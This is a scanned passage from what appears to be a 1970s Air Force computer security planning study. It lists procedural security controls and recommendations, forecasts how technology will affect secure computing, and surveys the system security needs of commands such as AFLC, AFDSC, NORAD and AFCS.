(2) Dissemination 

(3) Destruction 

h. Operations Support 

• PRODUCTION CONTROL 

a. Schedule of runs, remote access time 

b. Source media conversion 

c . Input validation 

d. Authentication of off.:.line user requests 

e TERMINAL AREA CONTROLS 

a. Terminal area access control 

b. Terminal function/processing control 

c. Output controls 



e CENTRAL FACILITY CONTROLS 

a. 

b. 

c. 

Facility access control 

Accounting for programs, run instructions, etc. 

Housekeeping (e.g. , trash disposal, etc. ) 

• PROGRAMMING CONTROLS 

a. 

b. 

c. 

d. 

e. 

Requirements analysis and design 

Coding 

Testing and debugging 

System integration 

Documentation 

f. Changes and patches 

e USER AUTHORIZATION 

a. 

b. 

User programming capabilities 

System and data access limitations 

e VALIDATION/CERTIFICATION 

a. Hardware 

b. Software 

c. 

d. 

Auxiliary physical resources 

Procedures 

e. 

f. 

Back-up resources 

Total system 

e SECURITY SURVEILLANCE 

a. Instrumentation 

b. Measurement 

c. 

d. 

Contingency action 

Reporting (including use of audit trails) 

• CONTINUITY OF OPERATIONS 

a. 

b. 

c. 

Redundant system configuration 

Redundant application systems 

Reconfiguration (including degraded operations) 
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d. Replacement resources (including back-up files, etc.) 

e. Manual back-up 

f. Conditions for reducing or suspending security controls 

• VULNERABILITY ANALYSIS 

a. Establishment of acceptance criteria 

b. Analysis of environment 

c. Identification and assessment of threats and risks. 

e SECURITY RESPONSIBILITIES AND AUTHORITIES 

a. Security officer 

b. Security support personnel (e.g., guard force) 

c. External liaison (e.g., localpolice, fire departments) 

• MANAGEMENT AND ADMINISTRATION 

a. Planning controls (e.g., procurement cycle) 

b. Channels of communication 

c. Organization 

d. Quality control 

e. Personnel security program. 

(1) Selection of personnel (i.e. , screening) 

(2) Indoctrination and training 

(3) Enforcement policy 

(4) Separation of duties and need-to-know controls 

From this list of procedural areas, one can make a number of important observa­
tions. First, procedures pervade system operations and directly or indirectly affect 
nearly all system functions. Second, procedures exist in multidimensional layers, 
thereby posing complex interfaces to each other and among the agents which exercise 
them. Third, all entries in the list may be implemented by personnel procedures, 
hardware/software procedures or a combination of the two. Very few entries, how­
ever, imply a method of implementation by the mere recognition of their necessity. 
Implementation is a function of a system context. 

RECOMMENDATIONS 

Clearly, much work is needed to enhance the use of procedures in securing any 
system. It is inconceivable that any development project can contribute to the 



solution of problems associated with any form of security, let alone multilevel 
security, without incorporating procedural elements. Considerations discussed 
above should pervade all such efforts. 

These are, however, three areas of development work associated with procedures 
which should be promoted separately. 

1. 	 Formal studies of procedures are needed to determine how procedures 
constitute vulnerabilities as well as countermeasures. The following 
questions are exemplary of the concerns which should be addressed: In 
exercising a procedure, can (and with what likelihood) an individual receive 
spillage of data for which he has no need-to-know? Is his span of control 
derived from a procedure greater than his assigned functions ? What is the 
likelihood that an error on the part of an individual exercising a procedure 
will result in a security incident? It is recommended that a procedural 
analysis of a major, supposedly secure system be undertaken to refine these 
questions, derive others and build an empirical procedural model for 
independent study and evaluation. Once this is accomplished, a general 
theoretical model should be developed to support behavioral studies in human 
engineering, facilities management, etc . as well as technical studies in 
developing hardware/software security measures. 

2. 	 Work is needed to develop a stronger technical foundation for procedures. 
Much of this can be accomplished if the developer identifies at an early de­
sign phase the areas of the system where procedures are needed. What is 
there about the intrinsic data flows and processing operations of a system 
that promotes or inhibits security? What security measures are intrinsic 
to the system and what must be added? In terms of adjunctive security 
measures, work is needed to determine which internal procedures can be 
externalized and, conversely, which external procedures can be internalized. 
The purpose here is to find the domain over which maximum effective con­
trol can be exerted while maintaining system integrity, economy and userI 
operator convenience. An important part of this study should be to determine 
the relevance of procedures derived from manual information processing 
systems for ADP systems, and additionally, which procedures are required 
in ADP s:;stems that transcend those of the manual systems. Another con­
sideration should be how to make security procedures natural to the user 
(for external procedures) and to the system (for internal procedures), and 
where such procedures should be transparent. Related to this consideration 
is the question of how best to control the access to and use of procedures. 
In all of these considerations, it is necessary to distinguish between gadgetry 
and good practice. 

3. 	 Work is needed to establish pertinent procedural requirements and guidelines. 
As a starting point, this work should set forth security standards in pro­
gramming and documentation procedures, console operator procedures, I/0 
controls (including generation and distribution), and management security 
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guidelines. These requirements and guidelines should include principles 
and instances of acceptable practices. The following are indicative of such 
principles . 

A. 	 Each procedure should provide for individual accountability by identifying 
the individual exercising the procedure with the action and effects of the 
procedure, by authenticating an individual's authority to invoke a given 
procedure, and by providing for evidence of the fact that a procedure 
was effected (e.g. , audit trail of procedures). 

B. 	 Each procedure should be established within appropriate need-to-know 
limitations. This means that the range of procedural actions and 
effects is a function of a person's job and nothing more. It also means 
that each procedural action and effect should have official sanctions. 

C. 	 Procedures should have functional integrity. This means that un­
structured procedures (i. e. , procedures invoked by ambiguous cues 
or by independent initiative, effected by arbitrary decisions and actions, 
and producing undefined and unpredictable effects) should be minimized. 
Where such procedures are necessary, however, some variation of a 
two-key system should be employed. Functional integrity also means 
that failsafe/failsoft mechanisms should be incorporated into procedures. 
Finally, it means that measures are implemented in such a manner that 
an individual will employ only those procedures necessary for a particu­
lar level or type of security mode. 



APPENDIX VI 

IMPACT OF TECHNOLOGY ON SECURE COMPUTING SYSTEMS 

The prognostication business is at best a risky one. We find that often our 
prophecies are either too conservative or too outlandishly optimistic. More often 
than not they are both at the same time. For example, who could have foreseen the 
tremendous growth in the computer technology 15 years ago? The impact of the 
integrated circuit on computer size, cost, and speed has been staggering. At the 
same time, however, computers have yet to live up to the promise held forth in the 
50's and 60's. Much of this is due to the problems of system design and software 
implementation. In this section, some of the more promising technological trends 
are indicated, along with the probable report of the resulting technology on the 
problem of computer security. 

Perhaps the most interesting potential of modern technology will be the radical 
reduction of cost of computer main frames. We can, for all intents and purposes, 
assume the computer main frames will be effectively "free" in the not too distant 
future. As a consequence, if it is really necessary to separate various users, each 
can be given his own computer. However, more often than not they are dealing with 
common data bases and must hand off certain common data to one another and, on 
occasion share programs. As a result, we are still in need of secure computing 
systems. With very low cost computer logic however, we have the possibility of a 
distributed system. By this is meant a system in which the various system functions 
may be distributed among different machines which are "netted" together. Netting 
does not imply a number of machines doing identical tasks, nor does it imply a num­
ber of necessarily identical machines. Each machine has its own unique task. 
Examples of these might be (1) file system machine; (2) a communications processor; 
(3) a set of user machines each performing tasks for their own specific users. 
Distributed system could take many forms. Questions remaining include: what is 
the best system for interconnecting them; what are the unique security problems 
posed by such a "localized" network, etc. 

Another result of the very low cost of future logic will be the ability to include 
rather sophisticated pieces of logic as parts of any CPU. Thus techniques for 
secondary file encryption, encryption of data in primary files, etc. , are all feasible 
and possible. In fact, it might even be feasible to enforce certain types of data han­
dling discipline that could be implemented by means of an appropriate chip or chips 
that by statute must be a part of any public system. Whether this last would be a 
practical solution or not remains one of the subjects of applied research in this area. 

Up to now, large scale systems have been designed by ad hoc methods. Where 
automated design aids existed, these tended to impose some structure on the design, 
but there was no guarantee that the structure would be followed in implementation. 
Computer-based design technology, found both here and abroad, has been directed to 
formalizing both the design and implementation of large scale systems. The results 
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of these efforts indicate an order of magnitude increase in the integrity of the designs. 
This improvement comes about because of the ability, using a computer, to test and 
validate the design before implementation, and the elimination of human interaction 
during critical implementation steps. The projected effect of this technology on 
security is large since it will be possible to produce validated hardware and software 
designs before implementation, and even permit economical Government development 
of its own designs for special applications. 

A final trend worth noting is the growing interest in Declaration on Goal­
Oriented Programming. This trend (also known as hnplict Programming, Automatic 
Programming, or Heuristic Programming) is an important concept. Under this 
concept, the programmer no longer defines the method (how) for performing a func­
tion (or program); rather he specifies what must be done. The methods by which 
this kind of programming will be achieved appear to be based on recognizing the 
stereotypic nature of much programming, and applying program generation techni­
ques to provide the tailoring of the application to the functional requirements. If the 
method (generators or whatever) is certified, it could eliminate the malicious user 
threat from most systems. It appears that these concepts will take ten years to 
become assimilated technology, although some initial results will be available 
earlier. 



APPENDIX VII 

AIR FORCE COMPUTER SECURITY TRENDS AND PROBLEMS 

INTRODUCTION 

This appendix reports upon the trends and problems in computer security which 
were identified by the Requirements Working Group supporting the Computer Security 
Technology Planning Study Panel. The information included was gathered by the 
Working Group through briefings and discussions with representatives of the individual 
commands and through reference to documents provided by the commands. 

The composition of the working group varied among the different instances, but 
generally consisted for several members of the study panel and one or more working­
level staff officers representing the subject command. The appendix consists of a 
series of sections each describing the information gathered about the computer system 
security needs of one of the following organizations: 

Air Force Logistics Command (AFLC) 

Air Force Data Services Center (AFDSC) 

Satellite Control Facility, Space and Missile Systems Organization (SAMSO) 

North American Aerospace Defense Command (NORAD) 

Air Force Communications Service (A FCS) 

Air Force Global Weather Center (AFGWC) 

Strategic Air Command (SAC) 

Military Airlift Command (MAC) 

Electromagnetic Compatibility Analysis Center (ECAC) 

Tactical Information Processing and Interpretation System (TIPI) 

Air Force Security Services (AFSS) 

(Although AFSS participated in the working group discussions, insufficient 
applicable data were gathered for inclusion in this appendix). 

In each section an overview is given identifying the command, its major responsi­
bilities and the command's representative(s) on the Requirements Working Group. 
Then follows a brief description of the system pertinent to the command's computer 
security requirements, and a discussion of their current information security problems. 
Next, the current perception of future trends in the command's security problems and 
capabilities is given, followed by their present and planned solutions to computer 
security problems. The material in this appendix was used as a basis for the state­
ments made in Section II of this document. 
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AIR FORCE LOGISTICS COMMAND (AFLC) 


OVERVIEW 


The Air Force Logistics Command (AFLC) purchases, manages, and distributes 
material for the entire Air Force. This function is a 10-15 billion dollar a year 
operation. The AFLC representatives on the Requirements Working Group were 
Capt. Ted Legasey and Mr. Walter Schull (ACTA). Both are involved in the design 
and implementation of the command's Advanced Logistics System (ALS). 

SYSTEMS 

AFLC is now designing and implementing the Advanced Logistics System (ALS). 
The motivation for this system is to achieve increased economy and responsiveness 
through the establishment of a uniform logistics data base and uniform, updated 
computer facilities. ALS will provide complete inventory control and distribution 
management throughout AFLC. ALS will include a computer center at each of 
AFLC's six Air Material Areas (AMAs) plus one additional center to support the 
Nuclear Ordnance Logistics System (NOLS). The NOLS Center is isolated because 
of the sensitive data it processes, but the other ALS Computer Centers will be inter­
connected by AUTODIN. Each center uses a CDC Cyber 70 multiprocessor computer 
with 1 million characters of main memory and 22 billion characters of immediate 
access (secondary) storage. Each AMA will have 400 to 500 remote terminals and 
will include nine different types of equipment: 

1) High speed card readers. 

2) Low speed card readers. 

3) High speed card punches. 

4) Low speed card punches. 

5) Keyboard printers . 

6) Cathode ray tubes. 

7) Data Collection terminals. 

8) Receive only typewriters. 

9) High speed character printers. 

The ALS basic software packages are being developed both by contractors and 
AFLC personnel. The contractor software packages are the Executive/Monitor 
System (EMS), which is the operating system, and a Data Management System (DMS), 
to handle the Unified Data Base. AFLC has written the basic specifications for both the 
EMS and DMS. Neither the EMS nor the DMS will be an off-the-shelf package. The 
AFLC-developed software packages include the Central Control System (CCS) and the 
test systems used to test the applications programs. The CCS forms the interface 



between the applications programs and the contractor developed DMS and EMS. CCS 
has four basic functions: Input, Output, Management and Control, and System Control 
Support. One part of the System Control Support function is security. 

The ALS software implements a transaction-oriented system designed to support 
the AFLC item managers. Its application programs are written by AFLC programmers. 
The application programs use structured programming with a hierarchical structure of 
processing in which each of the 35 current major subgroups is termed a "logistics 
process." Each logistics process is made up of "events," each of which is the piece 
of processing logic required to carry a particular transaction from beginning to end. 
At present there are 1086 such "events" in the system. Each event is made up of one 
or more "modules," each of which has a maximum length of 10K words. Presently the 
system contains 8,683 modules which are written in COBOL. The estimated maximum 
workload at a site is 27 transactions per second. 

SECURITY 

The ALS with the exception of NOLS, handles a small amount of classified infor­
mation (less than 1% of the ALS data base is classified; 90% of this is classified 
Secret, and the rest is Confidential). The NOLS is isolated from the balance of ALS 
and is required to handle nuclear weapons information up to Top Secret Restricted 
Data. The isolation of NOLS from the remainder of ALS is necessitated by the fact 
that the security of the ALS computer system is not deemed adequate for protecting 
the highly sensitive data in NOLS. 

Each ALS central computer facility must be capable of processing classified 
information in either a random or batch-sequential mode. Job scheduling will be 
used to permit concurrent processing of both classified and unclassified applications. 
Classified information will be transmitted between a Central Computer facility and its 
associated remote devices only when the circuits are either approved or encrypted. 
Both secure and nonsecure remote devices will be allowed to operate concurrently 
during processing and transmission of classified information. 

While the terminals and item managers that handle classified data are cleared, 
the bulk of the ALS terminals are not cleared. The restriction of access to classified 
data is the responsibility of the ALS computer hardware and software. User access 
to classified information will be controlled through the use of passwords. All ALS 
computers are housed in secure environments. The programmers who develop the 
ALS applications programs and the CCS hold Secret clearances. Those working in 
NOLS hold Top Secret clearances. 

FUTURE TRENDS 

Although no formal planning activities exist in some of the following areas, they 
will potentially impact the security requirements. It is expected that the ALS will be 
expanded in stages both to increase the scope of services it will provide and to 
increase the interconnection with other systems. It is possible that the ALS will be 
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tied into the base level supply and support systems and further that it will be more 
closely tied into the logistics systems of the other services. The amount of resources 
that the ALS will handle - greater than 10 billion dollars a year - is enough that 
even a small portion of them would constitute a worthwhile target. Protection against 
the unauthorized appropriation of resouces may require an eventual increase in the 
scope of the security system; i.e., to include more than just protection of national 
security, (classified) information. 

SECURITY SOLUTIONS 

The main source of software security controls in ALS is the central control system 
(CCS) software. Its security related functions are generally divided into two classes: 
the "preprocessing function" and the "threat monitoring" function. The preprocessing 
function includes the establishment and maintenance of security related tables and the 
use of these tables and other information to check and validate any programs prior to 
their entry into the operational program library. The threat monitor function consists 
of: a) identifying and authenticating each user and program request to access and 
process classified information; b) communicating security classification information 
to the EMS and DMS; c) insuring that classified output is transmitted only to secure 
output devides; and d) monitoring and audit trail and requesting job termination of 
programs when abnormal conditions arise during classified processing. 



AIR FORCE SATELLITE CONTROL FACILITY (AFSCF) 
SPACE AND MISSILE SYSTEMS ORGANIZATION (SAMSO) 

OVERVIEW 

The Air Force Satellite Control Facility (AFSC F), of the Air Force Systems 
Command's Space and Missile System Organization (SAMSO), is the DoD Agency 
responsible for the management, design, operation and maintenance of a worldwide 
information network for the monitoring, testing, control, and support of space 
satellite operations. The network is comprised of ten remote tracking stations (RTS) 
located at seven geographically dispersed sites and a Satellite Test Center (STC) 
located at Sunnyvale, California. Within the STC are several Mission Control Centers 
(MCC) which are individually assigned to operationally support the space mission 
programs by: (a) tracking the satellite from the appropriate RTS; (b) maintaining 
currently updated satellite ephemerides; (c) monitoring vehicle health through the 
reduction of telemetry data; and (d) commanding the satellite to perform specific 
functions. The AFSCF representatives on the Requirements Working Group were 
Major John Marciniak (AFSCF/DMD) and Mr. Tom Carr of Aerospace Corporation. 

SYSTEM 

The main elements of the AFSC F network are the RTSs and the STC. Each RTS 
contains the transmitting, receiving, and tracking equipment necessary for the reception 
of telemetry data, satellite position determination, and the commad of satellites as they 
pass through the RTS coverage. Individual teams operate the RTS antennas, the 
telemetry equipment, and the data systems. These teams report operationally to the 
Operations controller, who is in voice communications with the appropriate Test 
Controller, located in the MCC assigned to the mission. 

Telemetry tracking and commanding data pass between the STC and RTSs through 
computers at each facility which control the data interchanges via 2400 bit-per-sec 
(bps) and full duplex communications lines. These computers consist of a Univac 1230 
at each RTS and CDC 160As at the STC. 

The program office and support personnel at the STC plan, integrate, schedule, 
and control the activities of the total AFSCF network for the support of a multiplicity 
of satellites and satellite programs. Each satellite program office has its support 
team that operates from an assigned area at the' STC, including a specifically assigned 
MCC. That MCC is kept constantly in communication with the appropriate RTS(s) 
through a communication switching system and one of the CDC 160A "Bird Buffer" 
computers. These latter computers are assigned and operated on a schedule that is 
pre-planned to meet mission requirements by a Network Control Group. Except in 
cases of scheduling conflicts that must be coordinated with other programs, each 
MCC and support team can operate as though it were serving the only program using 
the A FSC F network. 
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The program support teams are composed of: (a) Support personnel in direct 
communication with the RTS(s); (b) The Field Test Force Directors (FTFD) and 
program directors who provide operational guidance; and (c) a staff of program­
oriented specialists who constantly review satellite status and plan future activities. 

The computer complex at the STC includes five CDC 3800 computers that are 
operated off-line by the program support teams to assist them in such activities as 
mission planning, command operation, and ephemeris determination. 

The system's interaction with the satellite occurs in three phases: Prepass, 
Pass, and Post-pass. These terms refer to the satellite's position with respect to 
the RTS's coverage pattern. 

When a satellite pass is anticipated the satellite is assigned to an RTS and the 
Pre-pass phase is begun. The Pre-pass activity consists of preloading the RTS with 
satellite location data and commands and queries for the satellite. The commands and 
queries have been generated off-line on a CDC 3800 Flight Support Computer. The 
Pre-pass data is transmitted by the assigned 160A via the 2400 bps line to the Univac 
1230 at the RTS. 

During the pass, which may last from minutes to hours, queries and commands 
are sent from the RTS to the satellite, and telemetry and tracking data are received 
from the satellite. The data received from the satellite is preprocessed on the RTS' s 
1230 and transmitted to the 160A at the STC. The STC has a display facility which 
contains 150 lpm printers and graphic plotters. The printer output is sent to several 
locations around the facility by closed-circuit TV. In addition the 160A writes a Bird 
Buffer Recording Tape (BBRT), recording all the telemetry and antenna data from the 
pass. After the pass is completed, the remaining data from the pass is transferred 
from the RTS 1230 to the 160A and the BBRT is completed. After its completion the 
BBRT is moved from the 160A to one of the 3800s for further (Post-pass) data reduc­
tion and the generation of commands and queries to be used on the next pass. These 
commands and queries are then entered on another tape for transfer to the proper RTS 
during the next Pre-pass phase. 

The ephemerides of satellites and spacecraft generally feature a precession of the 
ground tracks of their subsequent passes around the globe. Thus a particular satellite 
will usually pass through the coverage of several different RTSs at different times in 
its orbital history. To accommodate this and other factors there is a switch that 
allows connecting any 160A to any particular RTS 1230 for a particular satellite pass. 
Each of the MCCs connect to the assigned 160A Bird Buffer by one switch and then to 
the appropriate RTS 1230 by another switch. 

SECURITY 

At the STC most of the data on the 160As is unclassified. However, the data 
passed to the RTSs for Pre-pass loading of data and commands is sometimes classified 
up to Secret. Most of the real-time data that is exchanged during a pass is minimally 



classified and most of the data in the MCCs is unclassified. The problems associated 
with data exchanges between the MCC and the RTS and satellite appear to center more 
on protection against mis routing of data than against security compromise. Most of 
the data handled on the 3 800s is sensitive and classified but it is protected by the fact 
that each of the 3800s operates off-line in a separate lockable room. 

FUTURE TRENDS 

Plans are under way to upgrade the SCF. Two plans have been considered. In 
the initial upgrading plan a triplex of IBM 360/67s was to go into the STF in 1965. The 
360/67s would do on-line work, interacting with the 1230s at the RTSs, loading 
problems into any of five CDC 3800s and providing control and display capabilities to 
the MCCs. This plan was withdrawn when the Manned Orbiting Laboratory (MOL) 
program was terminated. 

The current plan is to replace the 16 OAs by an equal number of microprogrammed 
machines and emulate. A microprogrammed circuit switch will tie the new machines 
to peripherals located, as now, in the MCCs. The 3800s will continue to operate off 
line with each in a separate lockable room. 

SECURITY SOLUTIONS 

Little information was given concerning specific security solutions, which exist 
or are planned for the AFSCF. Most classified information handling is done off-line 
on the CDC 3800s in secure areas. The other concentration appears to occur in the 
commands from the RTS to the satellite which are generated during the Pre-pass and 
often contain sensitive classified information. SAMSO gave no information concerning 
security solutions for that information. 
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AIR FORCE DATA SERVICES CENTER 


OVERVIEW 


The Air Force Data Services Center (AFDSC) operates a major multi-computer 
service bureau located in the Pentagon. The Center provides data processing support 
to Headquarters USAF and the Office of the Secretary of Defense within the Pentagon 
and the Washington D.C. environs. The work includes such diverse areas as payroll 
processing, responses to congressional actions, invocation of DOD budget information, 
and the running of extensive models and simulations. There were 380 people on the 
Center's staff in the Spring of 1972 and the number was expected to increase. Captain 
Wah Leong was the AFDSC representative on the Requirements Working Group. 

SYSTEMS 

AFDSC had in the Spring of 1972 two Honeywell G-635 dual processors, each as­
signed 180 million words of online disk storage and 24 tape drives. They have 9 
secure remote vaults that contain secure terminals and crypto gear. Each vault con­
tains at least one G-115 remote batch terminal and two Terminet 300 teletype termi­
nals for time-sharing use. In all the 9 vaults contain 22 secure terminals. The 635 
systems have been generating about 4 million printed pages a month. AFDSC also has 
an IBM 7094 which is dedicated to the processing of Top Secret information. 

In addition to the classified system AFDSC has been spending $40K to $50K per 
month for the use of commercial, unclassified, time-sharing services, including GE 
Mark II and others. At present there are 27 terminals using these commercial 
services, but AFDSC has need to use more terminals. 

The Data Services Center users submit their programs in COBOL, FORTRAN, 
and, to a lesser extent, in assembler language for local batch processing. Remote 
batch jobs may be entered via any of several high speed terminals. The GCOS III 
time-sharing system (TSS) provides the users with two kinds of capabilities: 

(a) remote interactive programming in FORTRAN and BASIC; and 

(b) a low speed path for the entry of jobs. 

The uses of the system span a wide range of programming languages, size, and 
complexity. While some of the users require production runs of periodic reports, 
there are many new programs constantly under development by various users. 

SECURITY 

The Data Services Center handles data ranging from Unclassified through Top 
Secret. The data handling is separated into three categories, each with a separate 
method to protect its security. 



A dedicated 7094, operated in a closed environment, handles all Top Secret in­
formation processing. 

The other levels of classification, unclassified through Secret, are handled on the 
G-635s, which are located in a closed Secret environment. All terminals, including 
any remote terminals, which connect with this closed environment are required to be 
secured up through Secret, and all users have Secret security clearances. All 
products of the system are given a tentative classification of Secret until they have 
been given a permanent classification by the user. These criteria apply to all acces­
ses to, and products from, the G-635 systems, including those associated with remote 
processing of unclassified information. 

The third category applies to certain users who require solely unclassified time­
sharing services for limited computational tasks. These users have nonsecured 
terminals and uncleared operators that cannot be permitted access to the closed 
Secret environment. For these users the Center purchases G-635 time from com­
mercial service bureaus, at a cost which is increasing from $200K in 1970 to an 
estimated $500K in 1975. 

A further economic problem associated with security is the cost of the remote 
secure terminals. Currently, each of the secure remote sites costs $50K to build; 
there are nine in existence and several more are planned. 

FUTURE TRENDS 

AFDSC eventually plans to convert the G-635s to provide multilevel security in 
order to eliminate the use of commercial time-sharing service and its attendant 
costs. As a first step, they will probably set up a separate in-house system which 
will be dedicated to unclassified use. This system will be served by a separate 
Datanet 30 providing dial-up capability for the unclassified lines. It would be segre­
gated from the other systems. With this separate unclassified system the multilevel 
security problem will be avoided. A major problem that will remain for the unclas­
sified systems users is privacy, since the system will be used by unsecure terminals 
operating through open communication lines. 

It is expected that the entire Data Services Center computer area will eventually 
operate with multilevel security up to Top Secret. 

SECURITY SOLUTIONS 

At present, there is no software solution available for open multilevel secure 
operation of AFDSC's computers. Consequently the center operates with the three­
category approach described under "SYSTEMS", above: (a) a dedicated IBM 7094 for 
Top Secret; (b) the G-635's operated as a Secret system for Secret through unclas­
sified; and (3) commercial time-sharing contracts for completely unclassified work. 
The AFDSC computers are dedicated to operation for cleared users, while uncleared 
users must be served elsewhere. In some cases a secure remote facility has been 
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implemented using secured communications to allow cleared users to do unclassified 
processing on the Center's computers. This is a very costly, and seemingly untenable 
approach, costing $50K initially for each secure terminal (currently a total of $450K) 
plus the continuing costs of servicing the crypto gear and the other security require­
ments of the terminals. This approach has been dictated by the inability of the GCOS 
III operating system to resist penetration attempts by uncleared programmers. 



NORTH AMERICAN AEROSPACE DEFENSE COMMAND (NORAD) 


OVERVIEW 


The North American Aerospace Defense Command (NORAD) has headquarters 
located within the NORAD Cheyenne Mountain Complex (NCMC) in Colorado. NORAD 
is a multi-national command including forces of both the United States and Canada and 
is responsible for the aerospace defense of the North American continent. The elec­
tronic command and control system for the Commander-in-Chief of NORAD 
(CINCNORAD) is located in the NCMC and aids him in fulfilling his command respon­
sibilities. CINCNORAD has an additional role as Commander of the United States 
forces' portion of NORAD, termed the Continental Aerospace Defense Command 
(CONAD). Sensors located all over the world gather information about aircraft move­
ments, missile launchings, man-made objects in space, weather, status of forces, 
and intelligence data. The information flows in via a multiplicity of communication 
channels to computers that evaluate the data, sifting the significant from the trivial, 
and present the significant data as quickly as possible to aid the commander in his 
decision making. The representative of NORAD on the Requirements Working Group 
was Captain Paul D. Carr. 

SYSTEM 

The NORAD system discussed was the data processing and display portion of the 
electronic command and control system used by CINCNORAD. This system receives 
information over multiple routes from the Ballistic Missile Early Warning System 
(BMEWS), the Distant Early Warning (DEW) line, the Space Detection and Tracking 
System (SPADATS), the Air Force's Weather Observing and Forecasting System, 
overseas warning systems, intelligence gathering systems, and the Bomb Alarm Sys­
tem. This input information is processed for threat evaluation and presented to the 
Commander of NORAD, the Canadian Forces, the National Military Command Center, 
and Strategic Air Command. The NORAD command post is built around a highly 
sophisticated wall size display system. The Commander and his staff occupy three 
levels of the command post looking out over the 12 x 16 foot screens. In addition, 15 
individual CRT display consoles serve the personnel of the command post. The sys­
tem is now being up-dated and expanded. Two World Wide Military Command and 
Control System (WWMCCS) computers are presently being installed in the NCMC. One 
of these will serve as the Space Defense Center Computer (SCC) and the other as the 
NORAD Computer System (NCS). The latter machine will also do all of the utility 
work for NORAD, all of the Aerospace Defense Command's (ADC) logistics support 
processing, and ADC's force reconstitution processing during the post battle phase. 
There are to be two remote terminals both of which are to be located in secure areas. 

SECURITY 

At the present time, the NCMC processing is classified Secret, but with the addi­
tion of another machine, some excess time may be available to devote to war-gaming 
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and other Top Secret activities. Only two remote terminals are planned and they will 
be located in secure areas. Some special access material is used so the requirement 
for protection of Special Access Required (SAR) information is present. Intelligence 
information must be handled separately from the general NORAD system, by the 
WWMCCS computer for the Intelligence Data Handling System (IDHS) of CONAD. 
There is a possibility of a cross-tie between the CONAD IDHS and NORAD systems in 
the future which would increase the classification of the NCS to Top Secret. Both 
systems are closed with all terminals located in secure areas. However, some of the 
incoming communications lines are not secure. 

FUTURE TRENDS 

The connection of the NORAD system to the intelligence network may bring an in­
crease in the complexity of the security problems. The fact that the response time of 
the NORAD system is critical would cause an impact on any security system that 
carried much overhead with it. 

There will be new CRTs with the WWMCCS machines. The CRTs are now driven 
by the Display Information Processor (DIP). This processor was purchased as part 
of the BMEWS and is a very high reliability machine. It is not clear whether the DIP 
function will be replaced by a WWMCCS machine. 

There are plans to tie the SCC, NCS, and IDHS machines together. WWMCCS 
GCOS and the WWMCCS security package will be used. The WWMCCS security 
package will be checked by JTSA and DIA. However, NORAD will still have to eval­
uate it against their security and performance requirements. 

SECURITY SOLUTIONS 

Little was brought out concerning security solutions. The NORAD system is 
closed with all elements located in controlled areas. The software security package 
will be that of the WWMCCS and not much information was known about it at the time 
of the working group meeting. The security package will have to be evaluated against 
the detailed requirements that NORAD did not point out at the wo!king group meeting. 



AF COMMUNICATIONS SERVICE (AFCS) 


OVERVIEW 


The Air Force Communications Service (AFCS) is charged with the responsibility 
of insuring that responsive communications systems are developed and operated for 
the Air Force. The AFCS representatives to the requirements working group were 
Captain Raymond D. Suffron who presented information on the Local Digital Message 
Exchange (LDMX), and Captain Bob Flechtner, Lt. N. L. Mejstrik, and Mr. Gene 
Snell who presented information on the automatic Digital Network (AUTODIN). The 
LMDX is a planned system while the AUTODIN is a system that has been in actual 
use for several years. 

SYSTEM 

AUTODIN is a general purpose store-and-foward communication system that 
consists of switching centers, terminals, and communication lines. The system 
handles about ninety to one hundred thousand messages per day per switching center 
with the messages averaging 32 eight-character line blocks in length. 

There are eight switching centers in CONUS and several overseas. There are two 
kinds of switching capabilities in the switching centers: message switching and circuit 
switching. Only three of the centers have circuit switching capabilities, and only one 
of the three is now active, AFLC being the user. The other switching centers have 
only message switching capability, with messages processed through the switching 
center on a first-in-first-out basis by priority. At the present time, RCA machines 
are used in the CONUS AUTODIN switching centers, while Philco-Ford machines are 
used for the overseas switching centers. 

Switching center software is controlled by the Defense Communications Agency 
(DCA). The programs are written in machine language and DCA sends changes to the 
programs out to the AUTODIN sites. Changes to the AUTODIN programs are made by 
and checked by teams of two programmers. The old and new program tapes are 
compared by another program to see what alterations were really made. Online 
test are also made. Four people check the changes: two programmers and two 
operators. 

SECURITY 

AUTODIN, being a store and forward system, is rather simple and straight­
forward from the standpoint of security. 

Protection of message security depends upon the physical security of the 
dedicated machines at the switching centers, encryption of the dedicated external 
communication trunks, and software verification by the switching center that each 
message is routed only to properly cleared destinations. 
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The header of each message in AUTODIN contains routing indicators and an 
indication of the classification of the message. The switching center software per­
forms such functions as checking tables stored in the system to see whether each of 
the receivers indicated by the routing indicators is cleared to receive information of 
the designated classification. If the receiver is cleared, the message is delivered; 
if not a service message is sent back to the originator indicating this fact. Basically, 
the process of checking the routing indicators against the classification of the receiving 
terminal does the job of protecting the security of the message. The executive systems 
used are specifically tailored for AUTODIN by cleared contractors and in-house 
programmers. 

The AUTODIN system is cleared up to Top Secret but it is connected to a variety 
of terminals including unclassified as well as secured terminals. 

FUTURE TRENDS 

At the present time AFCS is evaluating the ARPA sponsored network of computers 
(ARPANET). Their objective is to determine how effective and efficient the ARPANET 
can be in terms how much traffic can be passed through it. The ARPANET is not at 
present secure so only simulated tests will be run. 

A system that is planned for the future is the Local Digital Message Exchange 
(LDMX). This system is intended to consolidate transmission and distribution of all 
air base digital communications in a single exchange. Current practice is to have 
several independent communication centers on a base: the base communication center, 
the command and control center, and possibly others. Connections to AUTODIN or 
other external communication systems are handled independently for each of the 
communications centers. The external connectivity pattern followed varies from base 
to base and often results in inefficiencies such as the duplication of facilities. The first 
goal of LDMX is consolidation of these several facilities into a single communications 
center per base. 

LDMX will be an on-base store and forward switch, one at each of eighty locations 
around the world. Each LDMX switch will serve a multiplicity of terminals on the 
base and perform the necessary store and forward interfacing of messages between 
the terminals and the AUTODIN access circuits. Each LDMX switch will be connected 
to two separate AUTODIN switching centers. In addition, LDMX will provide for 
interconnection and interfacing among the terminals on the base. 

When implemented LDMX will operate about as follows: each message will be 
entered, via one of the remote terminals at the base, into the LDMX store and 
forward switch; there it will be automatically routed, its format changed into 
JANAP 128 format, and it will be forwarded to the AUTODIN switch. The AUTODIN 
switch will then forward it to its final destination. If the destination is equipped with 
an LDMX switch, the message will be routed directly to the addressed terminal. The 
LDMX switch thus will do automatically the work of on-base message routing currently 
done by the communications center personnel. The LDMX switch will be able to handle 



normal message traffic as well as command and control traffic and computer to com­
puter transmissions for systems such as MAC Integrated Management System 
(MACIMS). Thus the LDMX could be the only communications processor on each 
base. 

The LDMX switch could accommodate a large number of secure terminals on 
each base. A problem that is being addressed currently is the development of both 
low and high speed secure terminals for use in LDMX. The cryptographic and 
protected areas needed to accommodate these terminals are currently quite expen­
sive. Therefore a program involving AFCS, ESD, and NSA is now in existence to 
develop secure terminals for use in a store and forward system. The cost goal is 
$5,000 each including the cryptographic equipment. Present plans are to obtain 
